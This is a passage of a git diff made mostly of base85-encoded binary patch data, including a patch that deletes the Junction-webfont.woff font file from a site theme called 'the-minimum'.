zmRJ6V@3mT1nD2of$u&gKcf8<3@*5AhC!BHpx0G6wJIB*vaOG?G<Pg01_|Owv`{IjA zSZ_vH1AR^jp$_=E5P@93nc%JzUsSS@uhmkk`w1o@<Vv6-1hCT<8Q6ctSe3YP(@tMd z^4B!dhn4uuYi^WN^gX4O4TIlP5?BA!)|USpzxxDwV}HMLFMA7e?vZOC=Q#7-Lf)~q zkNo7`GteKw#<)-J*}{E+xQ7<E?^R3j-f(ykX#AiQ$S?ksxyoF~4MXg5fim~fcj+hI zfsR+6QFq~;78#yvymOP84qX)$>9<~=j@X+|%;#0?^uT*JU7tU2*0#WW@1OHUTR0o{ z^ozTmzBBE{zp;E9HIBaRxP9>4|91az`(8&L?y(n!Qt^jA*ox_UjE-CS-!=;Ed(B>n zJo9isLhtEMI)optrLn9BK@IKd6Rg!z$5z?AtjlW0E}<W=b}0c(k-!}F7dFQdW1aj- z)+)V>IrqD)U0%sbl|Lf?9o7j9-3gAg!ZY8h9AVwc-`EDF5HSaRY$L9_0BE}<7wfh> z!FE}evyC`+D>gROwvBaJUSxHaA*{!83$9PI9_8!!wc#G`Sw3bxk{iF92F{}mJxZMQ zsJ}$s&v8aODUHsSiAcMRt-`xLO9IzVusZ7*lsgV>|Csr(RyAKj+45!<!@1is8g0Fa zEt5`S>~6sOPL%Cq%PdtW^ZRTWI8~>7i0hN6JHmSS%a}hl;<}FYSZCnb5ApkV^F6%V zB_GB;#<?8B_gy|@`<44xlR67pxDWK`WTWwA(N6hAV1vJ-4KJepiJ%E+PjwSL2k9qh zN#znvl0QKY&_r?%+$gz?=LY*u{T6+v{w6?Al!f17aYi4|54#i@XqF<zYiQF{YA=3S z_>B>5{E!vfA7Nc7ccVVgL-O^%ZNUdLNTLSMasu*!fHscE3i0c}J+0e3i8I<g__G9A zotl9%Ku?kzk|+8p{{b1o^Mdc-IhEzO1^k$cv^nVGy{yjmBz_uUs4IWXY&ZXg)GptE zuSDFSbSnESKFd_gw=D-PzgAUsntGr5E9(Snk1fykfGv^owUkfnH`o{2<MtDdJjaX9 z?>LRr?Wv!*nq6C5eQ6D8_owYld){5>ZgL-TU-r!M9Py6u9!y`JzAya)-!R|(ey{&- z|55)38QB?AGWKOWpYglEw*!C39F=(>OUY`>zA^jj*?l=u&dQuULzE$nLv{_hoI5jj zXWo>&gL&`gXXbx1SRQ<?z*+Ec!J)z%3U}b&p2EJue=q!1;cp7xEj(ZNc}NMlLqkGC zLnA`<p_WivXijKp=xd?xgtmwFh7O00gkBE)D)igX`=L*ZSdp_Rv#6+Oc+tqBhX3N< zoT6_R9V~je=-s0Ci#{oCEZ$js5dXB|Bl!1n@qZNmuK0uEFG@`Nmazj^Q?sx;=v#x( z1QOv{d_m_{W`2X!2IPw?B?Xkf4?pvovmoxwYY9HAoylt%*9Vf<3LB1{dFC?~%yNH7 zUgKLc_&%$d{_pG_e35q&n~U#r&czoxXJd!OTs8-#FF;BVm}NNr)#9pyt--NTe93bq zu-I&*1ljF)eifcyfb??QkH>i_o?MQUd06dPi8Lyy6X`+ZP(AeYJ;*I*3-Rtfh-_FX z-lzJO<B54ly&L5(2UffGZZ+;YL`nDHjsNc5;6J=wf%>Q~!~f~c>+76~Rxe;H&=zVl z)fB`Ii`gP&o@oE|bTa9(5^v4LlY{gj%HV6KC~3Lq)7{9sp2|y*UOqS{49r7qU-owZ zi6j#;q{D*PE-U7d6z~!|=CJF_1+R!3>!Dtj4y(rx$q8V$O%`Iua}Z;j3qI$g-U38f zgkbFy<C_XVqu7~u1HR!m3|}29$M@idV@FjbVqr$$J3Me@v60~RC^j0AQgv($e6#hy zqYdEe1U3=9o5Y$hr#9moD=q96d>Q6etUuibO5YCreFvL{INCNgoy|ZjVLSUOA|&o) zv)F8`^F7IBu5b%tANSz<!LP!~c@5t?dz~Fezu#nUuphD$_!iJYwumhT-IjxL_d>q! zM=aY~Mqi`V;9&X<JISrw##6A9)q#&uq~g0_Y23{{+>7tJ`QRPuWzXO{u?g%$|KHrt zo@YPh8SDWb;F&xNpRvlZuDWNz@ZsZzC(jeib3<kF97~>S>0CK{xOfidisZd`4)@|Y zoJS<ntCHvH<hdq!9+^B3mN(A4uSk|#QDN^~FmKiJxpQW(m~UoPHk#)uah{lLLSuv3 z1e`?^a28F#c?87c2p`y}@dw$>nr%v(&iO;r^+x)pt>(rDaeb}0_{Q{He1NvS4RL$H SiJBalfE`cf#dOUV`F{XIL<*<? diff --git a/assets/themes/the-minimum/font/Junction-webfont.woff b/assets/themes/the-minimum/font/Junction-webfont.woff deleted file mode 100755 index 2129a056ac1d0909e351b63c1d8f741f7fe7864c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 15548 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 